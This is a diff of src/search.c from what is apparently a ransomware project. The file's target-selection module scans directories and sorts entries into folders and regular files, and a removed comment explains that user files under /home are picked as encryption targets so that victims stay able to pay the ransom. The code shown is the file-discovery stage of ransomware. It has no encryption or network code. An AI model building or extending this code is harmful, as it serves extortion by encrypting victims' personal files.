diff options
Diffstat (limited to 'src/search.c')
| -rw-r--r-- | src/search.c | 122 |
1 files changed, 79 insertions, 43 deletions
diff --git a/src/search.c b/src/search.c index 22e5486..bb2cc0e 100644 --- a/src/search.c +++ b/src/search.c | |||
| @@ -1,72 +1,108 @@ | |||
| 1 | /*** | ||
| 2 | * SEARCH | ||
| 3 | * | ||
| 4 | * Find valid files to encrypt | ||
| 5 | */ | ||
| 6 | |||
| 7 | /* | ||
| 8 | Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their | ||
| 9 | shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now) | ||
| 10 | */ | ||
| 11 | |||
| 12 | #define _GNU_SOURCE | 1 | #define _GNU_SOURCE |
| 13 | 2 | ||
| 14 | #include "search.h" | 3 | #include "search.h" |
| 4 | #include "ll.h" | ||
| 5 | |||
| 6 | // Scan a directory | ||
| 7 | // Sort inputs into files and folders | ||
| 8 | // Store the full path for each file/folder | ||
| 9 | // Search new folders | ||
| 15 | 10 | ||
| 16 | #include <sys/types.h> | 11 | #include <sys/types.h> |
| 17 | #include <sys/stat.h> | 12 | #include <sys/stat.h> |
| 18 | #include <dirent.h> | 13 | #include <dirent.h> |
| 14 | #include <limits.h> | ||
| 15 | #include <stdlib.h> | ||
| 19 | #include <string.h> | 16 | #include <string.h> |
| 20 | #include <unistd.h> | 17 | #include <unistd.h> |
| 21 | #include <error.h> | ||
| 22 | #include <errno.h> | 18 | #include <errno.h> |
| 19 | #include <error.h> | ||
| 20 | |||
| 23 | #include <stdio.h> | 21 | #include <stdio.h> |
| 24 | 22 | ||
| 25 | int folderonly(const struct dirent64 *tester) { | 23 | int nodesort(const struct dirent *node, int (*S_IS_CALLBACK)(mode_t)) { |
| 26 | // Filter out the current and previous dir macros | 24 | // Ignore . and .. folders |
| 27 | if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0) | 25 | if(strcmp(node->d_name, ".") == 0 || strcmp(node->d_name, "..") == 0) |
| 28 | return 0; | 26 | return 0; |
| 29 | 27 | ||
| 30 | // Check if the "file" is specifically a dir | 28 | // Stat the file |
| 31 | struct stat64 sb; | 29 | struct stat sb; |
| 32 | if(stat64(tester->d_name, &sb) < 0) { | 30 | if(stat(node->d_name, &sb) < 0) { |
| 33 | error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); | 31 | error(0, errno, "Couldn't stat file \"%s\"", node->d_name); |
| 34 | return 0; // Don't try to traverse into a dir that we don't know is a dir or not | 32 | return 0; |
| 35 | } | 33 | } |
| 36 | 34 | ||
| 37 | // Filter out non dirs | 35 | // Check if the mode is correct |
| 38 | if((sb.st_mode & S_IFMT) != S_IFDIR) | 36 | if((*S_IS_CALLBACK)(sb.st_mode)) |
| 39 | return 0; | 37 | return 1; |
| 38 | |||
| 39 | // God I love function pointers | ||
| 40 | 40 | ||
| 41 | return 1; | 41 | // Not what is being checked for, exclude it |
| 42 | return 0; | ||
| 42 | } | 43 | } |
| 43 | 44 | ||
| 44 | int fileonly(const struct dirent64 *tester) { | 45 | int S_ISDIR_WRAPPER(mode_t mode) { |
| 45 | // Check if the "file" is specifically a dir | 46 | return S_ISDIR(mode); |
| 46 | struct stat64 sb; | 47 | } |
| 47 | if(stat64(tester->d_name, &sb) < 0) { | ||
| 48 | error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name); | ||
| 49 | return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten | ||
| 50 | } | ||
| 51 | 48 | ||
| 52 | // Filter out dirs | 49 | int S_ISREG_WRAPPER(mode_t mode) { |
| 53 | if((sb.st_mode & S_IFMT) != S_IFREG) | 50 | return S_ISREG(mode); |
| 54 | return 0; | 51 | } |
| 52 | |||
| 53 | int foldersort(const struct dirent *node) { | ||
| 54 | return nodesort(node, S_ISDIR_WRAPPER); | ||
| 55 | } | ||
| 55 | 56 | ||
| 56 | return 1; | 57 | int filesort(const struct dirent *node) { |
| 58 | return nodesort(node, S_ISREG_WRAPPER); | ||
| 57 | } | 59 | } |
| 58 | 60 | ||
| 59 | int main (void) { | 61 | |
| 60 | struct dirent64 **eps; | 62 | int main(void) { |
| 63 | /* | ||
| 64 | struct dirent **nodes; | ||
| 61 | int n; | 65 | int n; |
| 62 | 66 | ||
| 63 | n = scandir64("./", &eps, folderonly, alphasort64); | 67 | char *actualpath = NULL; |
| 68 | n = scandir("./", &nodes, foldersort, alphasort); | ||
| 64 | if(n >= 0) { | 69 | if(n >= 0) { |
| 65 | for(int cnt = 0; cnt < n; cnt++) | 70 | int cnt; |
| 66 | puts(eps[cnt]->d_name); | 71 | for(cnt = 0; cnt < n; ++cnt) { |
| 67 | } else { | 72 | actualpath = realpath(nodes[cnt]->d_name, actualpath); |
| 68 | perror("Couldn't open dir"); | 73 | puts(actualpath); |
| 69 | } | 74 | free(actualpath); |
| 75 | } | ||
| 76 | |||
| 77 | } else | ||
| 78 | perror("Couldn't open the directory"); | ||
| 79 | //*/ | ||
| 80 | |||
| 81 | struct dirent **nodes = NULL; | ||
| 82 | int n = 0; | ||
| 83 | |||
| 84 | struct nodelist *scanner = nodelist_init(NULL), *holder = nodelist_init(NULL), *hstart = holder; | ||
| 85 | if(scanner == NULL) | ||
| 86 | error(-1, errno, "shit brokey"); | ||
| 87 | scanner->fullpath = realpath("./", NULL); | ||
| 88 | scanner->type = NODELIST_TYPE__FOLDER; | ||
| 89 | |||
| 90 | n = scandir(scanner->fullpath, &nodes, foldersort, alphasort); | ||
| 91 | if(n > 0) { | ||
| 92 | for(int i = 0; i < n; i++) { | ||
| 93 | holder->fullpath = realpath(nodes[i]->d_name, NULL); | ||
| 94 | holder->type = NODELIST_TYPE__FOLDER; | ||
| 95 | holder->next = nodelist_init(NULL); | ||
| 96 | holder = holder->next; | ||
| 97 | } | ||
| 98 | } else | ||
| 99 | error(-1, 0, "Couldn't open folder"); | ||
| 100 | |||
| 101 | nodelist_append(scanner, hstart); | ||
| 102 | |||
| 103 | printf("Scanned paths:\n"); | ||
| 104 | for(struct nodelist *p = scanner; p->next != NULL; p = p->next) // Because of how holder is populated, checking p->next for being null makes sure printf doesn't try to do anything dumb like printing a null string | ||
| 105 | printf("%s\n", p->fullpath); | ||
| 70 | 106 | ||
| 71 | return 0; | 107 | return 0; |
| 72 | } | 108 | } |
